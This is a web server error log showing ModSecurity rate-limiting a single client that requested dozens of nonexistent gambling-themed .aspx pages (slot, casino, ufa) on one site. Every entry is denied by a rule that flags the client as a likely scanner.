[Tue Apr 28 08:33:39.233381 2026] [:error] [pid 33864:tid 33869] [client 37.187.27.125:32904] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afAAYzXchLGZ4QggCsmVJgAAAIM"]
[Tue Apr 28 08:33:41.831959 2026] [:error] [pid 50889:tid 50910] [client 37.187.27.125:33450] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afAAZYzszBr00txEzGiDJQAAABI"]
[Tue Apr 28 08:33:44.367308 2026] [:error] [pid 33777:tid 33840] [client 37.187.27.125:33910] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afAAaLXUCFWqmordGGLWqwAAAQU"]
[Tue Apr 28 08:33:46.933799 2026] [:error] [pid 33864:tid 33881] [client 37.187.27.125:34366] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afAAajXchLGZ4QggCsmVQwAAAI8"]
[Tue Apr 28 08:33:49.588331 2026] [:error] [pid 50889:tid 50892] [client 37.187.27.125:34848] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afAAbYzszBr00txEzGiDLgAAAAA"]
[Tue Apr 28 08:33:52.448425 2026] [:error] [pid 33775:tid 33782] [client 37.187.27.125:35492] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afAAcJsYOcoQrq88YbXXuwAAAMM"]
[Tue Apr 28 08:34:16.586545 2026] [:error] [pid 50889:tid 50905] [client 37.187.27.125:36082] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "afAAiIzszBr00txEzGiDjgAAAA0"]
[Tue Apr 28 08:34:19.359900 2026] [:error] [pid 33775:tid 33800] [client 37.187.27.125:41436] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "afAAi5sYOcoQrq88YbXXyAAAANU"]
[Tue Apr 28 08:34:22.177487 2026] [:error] [pid 50889:tid 50892] [client 37.187.27.125:41988] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "afAAjozszBr00txEzGiDmgAAAAA"]
[Tue Apr 28 08:34:25.333466 2026] [:error] [pid 33777:tid 33843] [client 37.187.27.125:42664] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afAAkbXUCFWqmordGGLW7AAAAQg"]
[Tue Apr 28 08:34:27.866498 2026] [:error] [pid 50889:tid 50893] [client 37.187.27.125:43104] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afAAk4zszBr00txEzGiDoQAAAAE"]
[Tue Apr 28 08:34:30.798856 2026] [:error] [pid 50889:tid 50903] [client 37.187.27.125:43638] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afAAlozszBr00txEzGiDqAAAAAs"]
[Tue Apr 28 08:34:33.593640 2026] [:error] [pid 33775:tid 33801] [client 37.187.27.125:44226] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afAAmZsYOcoQrq88YbXX0AAAANY"]
[Tue Apr 28 08:34:39.989830 2026] [:error] [pid 33777:tid 33846] [client 37.187.27.125:45418] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afAAn7XUCFWqmordGGLW9AAAAQs"]
[Tue Apr 28 08:34:42.946970 2026] [:error] [pid 50889:tid 50915] [client 37.187.27.125:45948] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afAAoozszBr00txEzGiDxgAAABc"]
[Tue Apr 28 08:34:46.018903 2026] [:error] [pid 33777:tid 33846] [client 37.187.27.125:46484] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afAAprXUCFWqmordGGLXDAAAAQs"]
[Tue Apr 28 08:34:48.946066 2026] [:error] [pid 33777:tid 33836] [client 37.187.27.125:47022] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afAAqLXUCFWqmordGGLXEgAAAQE"]
[Tue Apr 28 08:34:52.108410 2026] [:error] [pid 50889:tid 50914] [client 37.187.27.125:47486] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afAArIzszBr00txEzGiD7wAAABY"]
[Tue Apr 28 08:34:55.334710 2026] [:error] [pid 33776:tid 33828] [client 37.187.27.125:48054] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afAAr1-bEJ2CKP3iKADFowAAAFQ"]
[Tue Apr 28 08:34:58.822899 2026] [:error] [pid 50889:tid 50895] [client 37.187.27.125:48642] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afAAsozszBr00txEzGiD_AAAAAM"]
[Tue Apr 28 08:35:02.521373 2026] [:error] [pid 50889:tid 50897] [client 37.187.27.125:49240] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afAAtozszBr00txEzGiEBwAAAAU"]
[Tue Apr 28 08:35:05.857318 2026] [:error] [pid 33777:tid 33846] [client 37.187.27.125:49800] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afAAubXUCFWqmordGGLXIwAAAQs"]
[Tue Apr 28 08:35:10.126943 2026] [:error] [pid 50889:tid 50898] [client 37.187.27.125:50692] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afAAvozszBr00txEzGiEHwAAAAY"]
[Tue Apr 28 08:35:44.126494 2026] [:error] [pid 50889:tid 50893] [client 37.187.27.125:51412] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "afAA4IzszBr00txEzGiEZwAAAAE"]
[Tue Apr 28 08:35:47.400507 2026] [:error] [pid 33777:tid 33853] [client 37.187.27.125:56712] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "afAA47XUCFWqmordGGLXlwAAARI"]
[Tue Apr 28 08:35:51.891201 2026] [:error] [pid 33864:tid 33887] [client 37.187.27.125:57468] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "afAA5zXchLGZ4QggCsmWUQAAAJU"]
[Tue Apr 28 08:35:54.796802 2026] [:error] [pid 33777:tid 33858] [client 37.187.27.125:58000] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "afAA6rXUCFWqmordGGLXpAAAARc"]
[Tue Apr 28 08:35:58.012956 2026] [:error] [pid 33776:tid 33808] [client 37.187.27.125:58496] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "afAA7l-bEJ2CKP3iKADGIAAAAEA"]
[Tue Apr 28 08:36:01.795055 2026] [:error] [pid 33776:tid 33831] [client 37.187.27.125:59142] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "afAA8V-bEJ2CKP3iKADGJAAAAFc"]
[Tue Apr 28 08:36:05.136122 2026] [:error] [pid 33775:tid 33787] [client 37.187.27.125:59676] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "afAA9ZsYOcoQrq88YbXYiwAAAMg"]
[Tue Apr 28 08:36:08.928852 2026] [:error] [pid 33864:tid 33871] [client 37.187.27.125:60292] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "afAA-DXchLGZ4QggCsmWkgAAAIU"]
[Tue Apr 28 08:36:12.597943 2026] [:error] [pid 33776:tid 33825] [client 37.187.27.125:32858] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "afAA_F-bEJ2CKP3iKADGKwAAAFE"]
[Tue Apr 28 08:36:16.083996 2026] [:error] [pid 33775:tid 33788] [client 37.187.27.125:33468] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "afABAJsYOcoQrq88YbXYkQAAAMk"]
[Tue Apr 28 08:36:19.288171 2026] [:error] [pid 33777:tid 33850] [client 37.187.27.125:34104] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afABA7XUCFWqmordGGLXxgAAAQ8"]
[Tue Apr 28 08:36:23.386782 2026] [:error] [pid 33864:tid 33868] [client 37.187.27.125:35036] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afABBzXchLGZ4QggCsmWlwAAAII"]
[Tue Apr 28 08:36:27.854087 2026] [:error] [pid 33864:tid 33869] [client 37.187.27.125:35786] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afABCzXchLGZ4QggCsmWmQAAAIM"]
[Tue Apr 28 08:36:31.721261 2026] [:error] [pid 33777:tid 33845] [client 37.187.27.125:36594] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afABD7XUCFWqmordGGLXzQAAAQo"]
[Tue Apr 28 08:36:35.522569 2026] [:error] [pid 50889:tid 50902] [client 37.187.27.125:37230] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afABE4zszBr00txEzGiE-AAAAAo"]
[Tue Apr 28 08:36:38.770154 2026] [:error] [pid 33864:tid 33879] [client 37.187.27.125:37712] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afABFjXchLGZ4QggCsmWoAAAAI0"]
[Tue Apr 28 08:37:16.178319 2026] [:error] [pid 33864:tid 33867] [client 37.187.27.125:38328] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afABPDXchLGZ4QggCsmXAgAAAIE"]
[Tue Apr 28 08:37:19.903951 2026] [:error] [pid 50889:tid 50916] [client 37.187.27.125:43360] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afABP4zszBr00txEzGiFJQAAABg"]
[Tue Apr 28 08:37:23.519116 2026] [:error] [pid 33775:tid 33802] [client 37.187.27.125:43832] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afABQ5sYOcoQrq88YbXY1AAAANc"]
[Tue Apr 28 08:37:27.521971 2026] [:error] [pid 50889:tid 50904] [client 37.187.27.125:44370] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afABR4zszBr00txEzGiFLQAAAAw"]
[Tue Apr 28 08:37:31.020417 2026] [:error] [pid 33776:tid 33820] [client 37.187.27.125:44874] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afABS1-bEJ2CKP3iKADGcAAAAEw"]
[Tue Apr 28 08:37:34.528267 2026] [:error] [pid 33777:tid 33852] [client 37.187.27.125:45286] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afABTrXUCFWqmordGGLYGAAAARE"]
[Tue Apr 28 08:37:37.997095 2026] [:error] [pid 33777:tid 33848] [client 37.187.27.125:45702] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afABUbXUCFWqmordGGLYGwAAAQ0"]
[Tue Apr 28 08:37:41.216538 2026] [:error] [pid 33864:tid 33868] [client 37.187.27.125:46098] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "afABVTXchLGZ4QggCsmXEgAAAII"]
[Tue Apr 28 08:37:44.633071 2026] [:error] [pid 33777:tid 33849] [client 37.187.27.125:46522] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "afABWLXUCFWqmordGGLYHQAAAQ4"]
[Tue Apr 28 08:37:47.796602 2026] [:error] [pid 33777:tid 33850] [client 37.187.27.125:46922] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "afABW7XUCFWqmordGGLYLQAAAQ8"]
[Tue Apr 28 08:37:51.156958 2026] [:error] [pid 33777:tid 33849] [client 37.187.27.125:47328] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "afABX7XUCFWqmordGGLYMQAAAQ4"]
[Tue Apr 28 08:37:55.101994 2026] [:error] [pid 50889:tid 50903] [client 37.187.27.125:47852] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "afABY4zszBr00txEzGiFaQAAAAs"]
[Tue Apr 28 08:37:58.575813 2026] [:error] [pid 33864:tid 33886] [client 37.187.27.125:48264] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "afABZjXchLGZ4QggCsmXOwAAAJQ"]
[Tue Apr 28 08:38:01.844600 2026] [:error] [pid 33775:tid 33787] [client 37.187.27.125:48650] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afABaZsYOcoQrq88YbXY3QAAAMg"]
[Tue Apr 28 08:38:05.092881 2026] [:error] [pid 33777:tid 33853] [client 37.187.27.125:49006] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "afABbbXUCFWqmordGGLYNwAAARI"]
[Tue Apr 28 08:38:09.073932 2026] [:error] [pid 33864:tid 33874] [client 37.187.27.125:49392] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "afABcTXchLGZ4QggCsmXPwAAAIg"]
